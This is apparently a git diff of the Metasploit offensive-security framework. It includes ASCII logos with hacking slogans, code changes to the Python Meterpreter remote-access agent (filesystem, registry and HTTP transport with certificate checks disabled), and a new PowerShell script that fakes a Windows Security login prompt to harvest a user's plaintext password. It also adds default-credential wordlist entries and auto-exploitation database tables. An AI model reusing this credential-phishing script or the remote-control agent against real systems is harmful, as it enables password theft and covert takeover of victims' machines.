▀▀ ▄███████████████▄▄▄██▄▄███▀▄ 
████▄█████████▄▄▄▄▄█▄▄▄▄▄███ 
███████▄█████▄▄████▄▄██▄██▀▄██ 
▀▀▄▄██████▄██████▄▄▄████▄▄ ▀▀▀ 
▄▄██████████▄▄█▄▄▄▄▄██▄▄▄ 
██▄█████████▄▄▄██████████ 
▀▀ █▄████ ███▄█▄▄▄▄▄▄▄▀▀ 
▄▄████ ████▄██ 
▀▄████ ██▄███ 
▀▄▄▀ ██▀█▀▀ 
█ 

31
data/logos/pony-02.aftxt Normal file
View File

@ -0,0 +1,31 @@
 __________________ 
< Shells are cool. >
 ------------------ 
\ 
\ 
\ 
\ 
\ ▄▄▄▄▄▄▄▄▄ 
███████████ 
▄▄██████████ 
▄▄███████████▄▄ 
▄███████████▄▄▄█▄▄ 
▄▄██▄▄▄▄▄▄▄▄▄███▄▄█▄▄ 
▄▄████▄▄███████████████ 
████████▄▄▄▄█████████▄▀ 
███████▄███▄▄████████ 
▄▄▄███████▄█▄█████████▄▀ ▄▄▄▄▄▄ 
▀▄▄███████▄▄▄███████▄▀ ▄▄██████▄▄█▀ 
▀▄▄▄██████▄█████▄▀ ▄▄███████████▄ 
▀▀▀▀▀▀█▄███▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀▄██████▄▄
███▄▄█▄██████████▄▄ █████▄▄█
▄███▄█████████▄█▄██ ▄▄████ ▀
▀▀▄██████████▄▄▄▄▀ ▀▀ ██▄▀ 
█████▄▄▄▄█▄███▄▄ █▄▀ 
██████ ▀▄▄██████ ▀ 
▄▄▄████ ████████ 
███████ █████████ 
▄█▄▄█████ █████████ 
█▄███████ █▄▄███████ 
█▄▄▄▄▄█ █▄▄▄▄▄█ 


27
data/logos/pony-03.aftxt Normal file
View File

@ -0,0 +1,27 @@
 ______________________________ 
< I love SHELLS! >
 ------------------------------ 
\ 
\ 
\ 
▄▄██▄█▄▄▄▄ 
▄▄█████▄▄▄▄█▄▄ 
▄▄▄██████████▄▄▄▀ 
██▄▄█▄▄▄▄█▄▄█▄█ 
██▄▄▄████▄▄▄████ 
▄▄████▄▄▄██▄█▄▄▀ 
▄▄▄▄▄▄▄▄▄▄ ██▄█▄▄██▄▄▄▄▄██▄▄█
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ █▄▄▄██▄█████▄▄▄▀▀ 
▄▄████▄▄▄▄▄▄▄▄▄▄ ██▄▄▄▄███████▄▄▄ 
█████▄▄▄▄▄▀▀▄▄▄▄▄▄██▄▄▄█▄███▄█▀▀▀ 
████▄█▄█ █▄██▄▄█▄▄▄██▄███ 
▀▄▄▄▄█▄▄▄ ██▄█▄██▄▄▄▄▄█▄███ 
▀▄██▄▄██▄█ ██▄█▄██▄█▄▄█████ 
█▄█▄███▄▄█ ████▄▄█▄▄▄██▄█ 
▄██ ███▄██▄███ ▄▄▄█▄▄▄█▀▀██████ 
▀▄▄█▄█▄▄█▄██▀▀▀ ▄▄██▄▄██ ██████ 
▀▄▄▀██▄▄▀▀▀ ▄▄█████▄▀ ▄▄█████ 
▀▀▀ ▄▄███████ ███████ 
▄▄███▄▄██ ▄▄███████ 
██████▀▀▀ ▀▄████▀▀▀ 
▀▀▀▀▀▀ ▀▀▀ 

29
data/logos/pony-04.aftxt Normal file
View File

@ -0,0 +1,29 @@
 ____________________________________ 
< My Little Pwny: Exploits are Magic >
 ------------------------------------ 
\ 
\ 
\ 
▄▄▄▄▄▄▄▄▄▄ 
▄▄█████████▄▄▄▄▄▄▄ 
█▄▄▄████████▄▄▄▄████
█▄▄▄██▄█████▄████████
▄▄▄██████▄▄▄▄▄▄▄▄▄██▄▀ 
████▄████▄▄▄▄▄▄██▄▄█▄▄ 
██████████████████████ 
▀▄███▄███▄██▄▄▄████▀▀ 
▄▄▄▄▄▄▄▄▄ ▀▄██▄▄██▄▄█▄▄▄▄███▄ 
▄▄█████████▄▄ ▀█▄█████▄█▄▄▄█▄███ 
███████▄▀▀▀▄█▄▄ ▄▄█▄▄█▄▄█▄▄▄▄▄▄▀▀ 
████████ ▀▄▄▄▄▄███▄██▄▄▄██ 
████████ ▄▄ ▄▄█████▄▄▄▄██████ 
████████▄▄██ ███████████████▄▀ 
▀▄██████▄▄▄▀ ▀▄████████████▄▀ 
▄▄████▄▄██ ▄███▄█▄▄▄▄██▄██ 
█████████▄▀ █████▄▄▀ ██████ 
███▄███▀▀ ███████ ███▄▄▄▄ 
▀▄▄▄▀ ████████ ███████ 
████████ ████▄▄██▄ 
██████▄▄█ ██████▄▄█ 
█▄▄▄▄█ █▄▄▄▄█ 


24
data/logos/pony-05.aftxt Normal file
View File

@ -0,0 +1,24 @@
 ______________________ 
< FREE SHELLS FOREVER!!! >
 ---------------------- 
\ 
\ ▄██▄▄▄ ▄▄▄ 
\ ███▄▄█▄▄▄▄▄▄▄▄▄ 
▄▄▄███▄▄██▄██████▄▄ 
▄▄▄▄█▄▄██▄▄▄▄▄▄▄▄█▄████ 
████▄▄██▄▄██▄▄▄█▄██▄████ ▄█▄▄▄▄ 
████ █▄██▄▄███▄▄▄█▄▄▄██ ▄▄▄▄▄▄█▄█▄▄▄█▄▄ 
███ ██████████▄██████ ██▄▄▄▄█▄▄▄██████ 
▀▄██ ▄█▄▄█▄████▄▄█▄▄▄█▄▄▄▄█▄▄█████▄▄████████ 
▀█ ███▄██████████▄▄███▄██▄▄██████▄▄███████ 
▄▀ ▀▀█▄▄▄▄▄███▄▄▄▄▄▄▄██▄███▄███▄▄██████▄▀ 
▀ ██▄▄██▄▄█▄▄▄▄▄▄▄ ▀▀▄▄█▄▄▄███▄▄ 
█████▄▄█▄▄███▄▄▄█ ████▄▄███▄▄
█▄▄█▄▄▄▄▄█▄██▄▄█ ███▄█▄▄▄█▄██
▄▄▄█▄█████▄████ ▀▄█████▄▄██▀
▄█▄▄▄▄███▀▄█▄████▄█ ▀▄█▄▄███ ▄
▄▄██▄██▄▄▄▀█▄███▄██▄▀ ▄▄█▄█▄▄█
█▄██████ ███▄▄███▄▀ ▀▄▄▄▄▀▀ 
██████ ▀▀███████ 
▀▀▀▀▀▀ ▀▀▀▀▀▀ 


Binary file not shown.

View File

@ -59,6 +59,7 @@ if sys.version_info[0] < 3:
is_bytes = lambda obj: issubclass(obj.__class__, str)
bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00'
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
else:
if isinstance(__builtins__, dict):
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
@ -69,6 +70,7 @@ else:
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
NULL_BYTE = bytes('\x00', 'UTF-8')
long = int
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
if has_ctypes:
#
@ -530,7 +532,7 @@ def get_stat_buffer(path):
if hasattr(si, 'st_blocks'):
blocks = si.st_blocks
st_buf = struct.pack('<IHHH', si.st_dev, min(0xffff, si.st_ino), si.st_mode, si.st_nlink)
st_buf += struct.pack('<HHHI', si.st_uid, si.st_gid, 0, rdev)
st_buf += struct.pack('<HHHI', si.st_uid & 0xffff, si.st_gid & 0xffff, 0, rdev)
st_buf += struct.pack('<IIII', si.st_size, long(si.st_atime), long(si.st_mtime), long(si.st_ctime))
st_buf += struct.pack('<II', blksize, blocks)
return st_buf
@ -630,7 +632,7 @@ def channel_open_stdapi_fs_file(request, response):
fmode = fmode.replace('bb', 'b')
else:
fmode = 'rb'
file_h = open(fpath, fmode)
file_h = open(unicode(fpath), fmode)
channel_id = meterpreter.add_channel(MeterpreterFile(file_h))
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
return ERROR_SUCCESS, response
@ -923,18 +925,19 @@ def stdapi_sys_process_get_processes(request, response):
@meterpreter.register_function
def stdapi_fs_chdir(request, response):
wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
os.chdir(wd)
os.chdir(unicode(wd))
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_delete(request, response):
file_path = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
os.unlink(file_path)
os.unlink(unicode(file_path))
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_delete_dir(request, response):
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
dir_path = unicode(dir_path)
if os.path.islink(dir_path):
del_func = os.unlink
else:
@ -945,7 +948,7 @@ def stdapi_fs_delete_dir(request, response):
@meterpreter.register_function
def stdapi_fs_delete_file(request, response):
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
os.unlink(file_path)
os.unlink(unicode(file_path))
return ERROR_SUCCESS, response
@meterpreter.register_function
@ -971,25 +974,29 @@ def stdapi_fs_file_expand_path(request, response):
def stdapi_fs_file_move(request, response):
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
os.rename(oldname, newname)
os.rename(unicode(oldname), unicode(newname))
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_getwd(request, response):
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
if hasattr(os, 'getcwdu'):
wd = os.getcwdu()
else:
wd = os.getcwd()
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, wd)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_ls(request, response):
path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
path = os.path.abspath(path)
contents = os.listdir(path)
contents.sort()
for x in contents:
y = os.path.join(path, x)
response += tlv_pack(TLV_TYPE_FILE_NAME, x)
response += tlv_pack(TLV_TYPE_FILE_PATH, y)
response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(y))
path = os.path.abspath(unicode(path))
dir_contents = os.listdir(path)
dir_contents.sort()
for file_name in dir_contents:
file_path = os.path.join(path, file_name)
response += tlv_pack(TLV_TYPE_FILE_NAME, file_name)
response += tlv_pack(TLV_TYPE_FILE_PATH, file_path)
response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(file_path))
return ERROR_SUCCESS, response
@meterpreter.register_function
@ -1008,6 +1015,7 @@ def stdapi_fs_md5(request, response):
@meterpreter.register_function
def stdapi_fs_mkdir(request, response):
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
dir_path = unicode(dir_path)
if not os.path.isdir(dir_path):
os.mkdir(dir_path)
return ERROR_SUCCESS, response
@ -1016,6 +1024,7 @@ def stdapi_fs_mkdir(request, response):
def stdapi_fs_search(request, response):
search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.')
search_root = ('' or '.') # sometimes it's an empty string
search_root = unicode(search_root)
glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value']
recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value']
if recurse:
@ -1056,7 +1065,7 @@ def stdapi_fs_sha1(request, response):
@meterpreter.register_function
def stdapi_fs_stat(request, response):
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
st_buf = get_stat_buffer(path)
st_buf = get_stat_buffer(unicode(path))
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
return ERROR_SUCCESS, response
@ -1334,10 +1343,12 @@ def stdapi_net_socket_tcp_shutdown(request, response):
channel.shutdown(how)
return ERROR_SUCCESS, response
def _wreg_close_key(hkey):
ctypes.windll.advapi32.RegCloseKey(hkey)
@meterpreter.register_function_windll
def stdapi_registry_close_key(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
result = ctypes.windll.advapi32.RegCloseKey(hkey)
_wreg_close_key(packet_get_tlv(request, TLV_TYPE_HKEY)['value'])
return ERROR_SUCCESS, response
@meterpreter.register_function_windll
@ -1372,11 +1383,9 @@ def stdapi_registry_delete_value(request, response):
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
return result, response
@meterpreter.register_function_windll
def stdapi_registry_enum_key(request, response):
def _wreg_enum_key(request, response, hkey):
ERROR_MORE_DATA = 0xea
ERROR_NO_MORE_ITEMS = 0x0103
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
name = (ctypes.c_char * 4096)()
index = 0
tries = 0
@ -1399,10 +1408,22 @@ def stdapi_registry_enum_key(request, response):
return result, response
@meterpreter.register_function_windll
def stdapi_registry_enum_value(request, response):
def stdapi_registry_enum_key(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
return _wreg_enum_key(request, response, hkey)
@meterpreter.register_function_windll
def stdapi_registry_enum_key_direct(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
ret = _wreg_enum_key(request, response, hkey)
_wreg_close_key(hkey)
return ret
def _wreg_enum_value(request, response, hkey):
ERROR_MORE_DATA = 0xea
ERROR_NO_MORE_ITEMS = 0x0103
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
name = (ctypes.c_char * 4096)()
name_sz = ctypes.c_uint32()
index = 0
@ -1426,6 +1447,20 @@ def stdapi_registry_enum_value(request, response):
index += 1
return result, response
@meterpreter.register_function_windll
def stdapi_registry_enum_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
return _wreg_enum_value(request, response, hkey)
@meterpreter.register_function_windll
def stdapi_registry_enum_value_direct(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
ret = _wreg_enum_value(request, response, hkey)
_wreg_close_key(hkey)
return ret
@meterpreter.register_function_windll
def stdapi_registry_load_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
@ -1434,16 +1469,22 @@ def stdapi_registry_load_key(request, response):
result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
return result, response
@meterpreter.register_function_windll
def stdapi_registry_open_key(request, response):
def _wreg_open_key(request):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
handle_id = ctypes.c_void_p()
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) != ERROR_SUCCESS:
return error_result_windows(), response
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
return error_result_windows(), 0
return ERROR_SUCCESS, handle_id.value
@meterpreter.register_function_windll
def stdapi_registry_open_key(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
response += tlv_pack(TLV_TYPE_HKEY, hkey)
return ERROR_SUCCESS, response
@meterpreter.register_function_windll
@ -1467,9 +1508,7 @@ def stdapi_registry_query_class(request, response):
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
return ERROR_SUCCESS, response
@meterpreter.register_function_windll
def stdapi_registry_query_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
def _query_value(request, response, hkey):
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
value_type = ctypes.c_uint32()
@ -1496,8 +1535,20 @@ def stdapi_registry_query_value(request, response):
return error_result_windows(), response
@meterpreter.register_function_windll
def stdapi_registry_set_value(request, response):
def stdapi_registry_query_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
return _query_value(request, response, hkey)
@meterpreter.register_function_windll
def stdapi_registry_query_value_direct(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
ret = _query_value(request, response, hkey)
_wreg_close_key(hkey)
return ret
def _set_value(request, response, hkey):
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
@ -1505,6 +1556,20 @@ def stdapi_registry_set_value(request, response):
result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
return result, response
@meterpreter.register_function_windll
def stdapi_registry_set_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
return _set_value(request, response, hkey)
@meterpreter.register_function_windll
def stdapi_registry_set_value_direct(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
ret = _set_value(request, response, hkey)
_wreg_close_key(hkey)
return ret
@meterpreter.register_function_windll
def stdapi_registry_unload_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']

Binary file not shown.

Binary file not shown.

View File

@ -41,6 +41,7 @@ if sys.version_info[0] < 3:
is_bytes = lambda obj: issubclass(obj.__class__, str)
bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00'
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
else:
if isinstance(__builtins__, dict):
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
@ -51,6 +52,7 @@ else:
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
NULL_BYTE = bytes('\x00', 'UTF-8')
long = int
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
#
# Constants
@ -262,7 +264,9 @@ def tlv_pack(*args):
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
else:
value = tlv['value']
if not is_bytes(value):
if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
value = value.encode('UTF-8')
elif not is_bytes(value):
value = bytes(value, 'UTF-8')
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
@ -389,11 +393,17 @@ class PythonMeterpreter(object):
print(msg)
def driver_init_http(self):
opener_args = []
scheme = HTTP_CONNECTION_URL.split(':', 1)[0]
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
import ssl
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
ssl_ctx.check_hostname=False
ssl_ctx.verify_mode=ssl.CERT_NONE
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
if HTTP_PROXY:
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY})
opener = urllib.build_opener(proxy_handler)
else:
opener = urllib.build_opener()
opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY}))
opener = urllib.build_opener(*opener_args)
if HTTP_USER_AGENT:
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
urllib.install_opener(opener)
@ -479,7 +489,7 @@ class PythonMeterpreter(object):
pkt_length -= 8
packet = bytes()
while len(packet) < pkt_length:
packet += self.socket.recv(4096)
packet += self.socket.recv(pkt_length - len(packet))
return packet
def send_packet_tcp(self, packet):

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,22 @@
function Invoke-LoginPrompt{
$cred = $Host.ui.PromptForCredential("Windows Security", "R{DESCRIPTION}", "$env:userdomain\$env:username","")
$username = "$env:username"
$domain = "$env:userdomain"
$full = "$domain" + "\" + "$username"
$password = $cred.GetNetworkCredential().password
Add-Type -assemblyname System.DirectoryServices.AccountManagement
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
while($DS.ValidateCredentials("$full","$password") -ne $True){
$cred = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","")
$username = "$env:username"
$domain = "$env:userdomain"
$full = "$domain" + "\" + "$username"
$password = $cred.GetNetworkCredential().password
Add-Type -assemblyname System.DirectoryServices.AccountManagement
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
$DS.ValidateCredentials("$full", "$password") | out-null
}
$output = $newcred = $cred.GetNetworkCredential() | select-object UserName, Domain, Password
$output
R{START_PROCESS}
}

View File

@ -5,3 +5,4 @@ root owaspbwa
ADMIN ADMIN
xampp xampp
tomcat s3cret
QCC QLogic66

View File

@ -1001,3 +1001,5 @@ mendoza
sq!us3r
adminpasswd
raspberry
74k&^*nh#$
arcsight

View File

@ -11,7 +11,7 @@
#
# It's strongly recommended to check this file into your version control system.
ActiveRecord::Schema.define(:version => 20140922170030) do
ActiveRecord::Schema.define(:version => 20150326183742) do
create_table "api_keys", :force => true do |t|
t.text "token"
@ -19,6 +19,54 @@ ActiveRecord::Schema.define(:version => 20140922170030) do
t.datetime "updated_at", :null => false
end
create_table "automatic_exploitation_match_results", :force => true do |t|
t.integer "match_id"
t.integer "run_id"
t.string "state", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "automatic_exploitation_match_results", ["match_id"], :name => "index_automatic_exploitation_match_results_on_match_id"
add_index "automatic_exploitation_match_results", ["run_id"], :name => "index_automatic_exploitation_match_results_on_run_id"
create_table "automatic_exploitation_match_sets", :force => true do |t|
t.integer "workspace_id"
t.integer "user_id"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "automatic_exploitation_match_sets", ["user_id"], :name => "index_automatic_exploitation_match_sets_on_user_id"
add_index "automatic_exploitation_match_sets", ["workspace_id"], :name => "index_automatic_exploitation_match_sets_on_workspace_id"
create_table "automatic_exploitation_matches", :force => true do |t|
t.integer "module_detail_id"
t.string "state"
t.integer "nexpose_data_vulnerability_definition_id"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.integer "match_set_id"
t.string "matchable_type"
t.integer "matchable_id"
t.text "module_fullname"
end
add_index "automatic_exploitation_matches", ["module_detail_id"], :name => "index_automatic_exploitation_matches_on_ref_id"
add_index "automatic_exploitation_matches", ["module_fullname"], :name => "index_automatic_exploitation_matches_on_module_fullname"
create_table "automatic_exploitation_runs", :force => true do |t|
t.integer "workspace_id"
t.integer "user_id"
t.integer "match_set_id"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "automatic_exploitation_runs", ["match_set_id"], :name => "index_automatic_exploitation_runs_on_match_set_id"
add_index "automatic_exploitation_runs", ["user_id"], :name => "index_automatic_exploitation_runs_on_user_id"
add_index "automatic_exploitation_runs", ["workspace_id"], :name => "index_automatic_exploitation_runs_on_workspace_id"
create_table "clients", :force => true do |t|
t.integer "host_id"
t.datetime "created_at"
@ -155,19 +203,22 @@ ActiveRecord::Schema.define(:version => 20140922170030) do
end
create_table "loots", :force => true do |t|
t.integer "workspace_id", :default => 1, :null => false
t.integer "workspace_id", :default => 1, :null => false
t.integer "host_id"
t.integer "service_id"
t.string "ltype", :limit => 512
t.string "path", :limit => 1024
t.string "ltype", :limit => 512
t.string "path", :limit => 1024
t.text "data"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.string "content_type"
t.text "name"
t.text "info"
t.integer "module_run_id"
end
add_index "loots", ["module_run_id"], :name => "index_loots_on_module_run_id"
create_table "macros", :force => true do |t|
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
@ -359,6 +410,26 @@ ActiveRecord::Schema.define(:version => 20140922170030) do
add_index "module_refs", ["detail_id"], :name => "index_module_refs_on_module_detail_id"
add_index "module_refs", ["name"], :name => "index_module_refs_on_name"
create_table "module_runs", :force => true do |t|
t.datetime "attempted_at"
t.text "fail_detail"
t.string "fail_reason"
t.text "module_fullname"
t.integer "port"
t.string "proto"
t.integer "session_id"
t.string "status"
t.integer "trackable_id"
t.string "trackable_type"
t.integer "user_id"
t.string "username"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "module_runs", ["session_id"], :name => "index_module_runs_on_session_id"
add_index "module_runs", ["user_id"], :name => "index_module_runs_on_user_id"
create_table "module_targets", :force => true do |t|
t.integer "detail_id"
t.integer "index"
@ -393,9 +464,11 @@ ActiveRecord::Schema.define(:version => 20140922170030) do
t.boolean "critical"
t.boolean "seen"
t.text "data"
t.integer "vuln_id"
end
add_index "notes", ["ntype"], :name => "index_notes_on_ntype"
add_index "notes", ["vuln_id"], :name => "index_notes_on_vuln_id"
create_table "profiles", :force => true do |t|
t.datetime "created_at", :null => false
@ -454,6 +527,7 @@ ActiveRecord::Schema.define(:version => 20140922170030) do
t.text "info"
end
add_index "services", ["host_id", "port", "proto"], :name => "index_services_on_host_id_and_port_and_proto", :unique => true
add_index "services", ["name"], :name => "index_services_on_name"
add_index "services", ["port"], :name => "index_services_on_port"
add_index "services", ["proto"], :name => "index_services_on_proto"
@ -478,13 +552,16 @@ ActiveRecord::Schema.define(:version => 20140922170030) do
t.integer "port"
t.string "platform"
t.text "datastore"
t.datetime "opened_at", :null => false
t.datetime "opened_at", :null => false
t.datetime "closed_at"
t.string "close_reason"
t.integer "local_id"
t.datetime "last_seen"
t.integer "module_run_id"
end
add_index "sessions", ["module_run_id"], :name => "index_sessions_on_module_run_id"
create_table "tags", :force => true do |t|
t.integer "user_id"
t.string "name", :limit => 1024

View File

@ -1,525 +0,0 @@
#include "Lorcon.h"
#include "ruby.h"
/*
self.license = GPLv2;
*/
/*
This is a derivative of the tx.c sample included with lorcon:
http://802.11ninja.net/lorcon/
lorcon is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
lorcon is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with lorcon; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Copyright (c) 2005 dragorn and Joshua Wright
*/
/*
Lots of code borrowed from Tom Wambold's pylorcon:
http://pylorcon.googlecode.com/ - tom5760[at]gmail.com
*/
/*
All ruby-lorcon/rubyisms are by Rapid7, Inc (C) 2006-2007
http://metasploit.com/ - msfdev[at]metasploit.com
*/
VALUE mLorcon;
VALUE cDevice;
VALUE lorcon_get_version(VALUE self) {
return INT2NUM(tx80211_getversion());
}
VALUE lorcon_cap_to_list(int cap) {
VALUE list;
list = rb_ary_new();
if ((cap & TX80211_CAP_SNIFF) != 0)
rb_ary_push(list, rb_str_new2("SNIFF"));
if ((cap & TX80211_CAP_TRANSMIT) != 0)
rb_ary_push(list, rb_str_new2("TRANSMIT"));
if ((cap & TX80211_CAP_SEQ) != 0)
rb_ary_push(list, rb_str_new2("SEQ"));
if ((cap & TX80211_CAP_BSSTIME) != 0)
rb_ary_push(list, rb_str_new2("BSSTIME"));
if ((cap & TX80211_CAP_FRAG) != 0)
rb_ary_push(list, rb_str_new2("FRAG"));
if ((cap & TX80211_CAP_CTRL) != 0)
rb_ary_push(list, rb_str_new2("CTRL"));
if ((cap & TX80211_CAP_DURID) != 0)
rb_ary_push(list, rb_str_new2("DURID"));
if ((cap & TX80211_CAP_SNIFFACK) != 0)
rb_ary_push(list, rb_str_new2("SNIFFACK"));
if ((cap & TX80211_CAP_SELFACK) != 0)
rb_ary_push(list, rb_str_new2("SELFACK"));
if ((cap & TX80211_CAP_TXNOWAIT) != 0)
rb_ary_push(list, rb_str_new2("TXNOWAIT"));
if ((cap & TX80211_CAP_DSSSTX) != 0)
rb_ary_push(list, rb_str_new2("DSSSTX"));
if ((cap & TX80211_CAP_OFDMTX) != 0)
rb_ary_push(list, rb_str_new2("OFDMTX"));
if ((cap & TX80211_CAP_MIMOTX) != 0)
rb_ary_push(list, rb_str_new2("MIMOTX"));
if ((cap & TX80211_CAP_SETRATE) != 0)
rb_ary_push(list, rb_str_new2("SETRATE"));
if ((cap & TX80211_CAP_SETMODULATION) != 0)
rb_ary_push(list, rb_str_new2("SETMODULATION"));
if ((cap & TX80211_CAP_NONE) != 0)
rb_ary_push(list, rb_str_new2("NONE"));
return list;
}
static VALUE lorcon_driver_list(VALUE self) {
VALUE list;
VALUE hash;
struct tx80211_cardlist *cards = NULL;
int i;
list = rb_hash_new();
cards = tx80211_getcardlist();
if (cards == NULL) {
return(Qnil);
}
for (i = 1; i < cards->num_cards; i++) {
hash = rb_hash_new();
rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(cards->cardnames[i]));
rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(cards->descriptions[i]));
rb_hash_aset(hash, rb_str_new2("capabilities"), lorcon_cap_to_list(cards->capabilities[i]));
rb_hash_aset(list, rb_str_new2(cards->cardnames[i]), hash);
}
tx80211_freecardlist(cards);
return(list);
}
static VALUE lorcon_device_get_channel(VALUE self) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
return INT2NUM(tx80211_getchannel(&rld->in_tx));
}
static VALUE lorcon_device_set_channel(VALUE self, VALUE channel) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
tx80211_setchannel(&rld->in_tx, NUM2INT(channel));
return INT2NUM(tx80211_getchannel(&rld->in_tx));
}
void lorcon_device_free(struct rldev *rld) {
if (tx80211_getmode(&rld->in_tx) >= 0) {
tx80211_close(&rld->in_tx);
}
free(&rld->in_tx);
}
static VALUE lorcon_device_get_mode(VALUE self) {
struct rldev *rld;
int mode;
Data_Get_Struct(self, struct rldev, rld);
mode = tx80211_getmode(&rld->in_tx);
if (mode < 0) {
rb_raise(rb_eArgError, "Lorcon could not determine the mode of this device: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
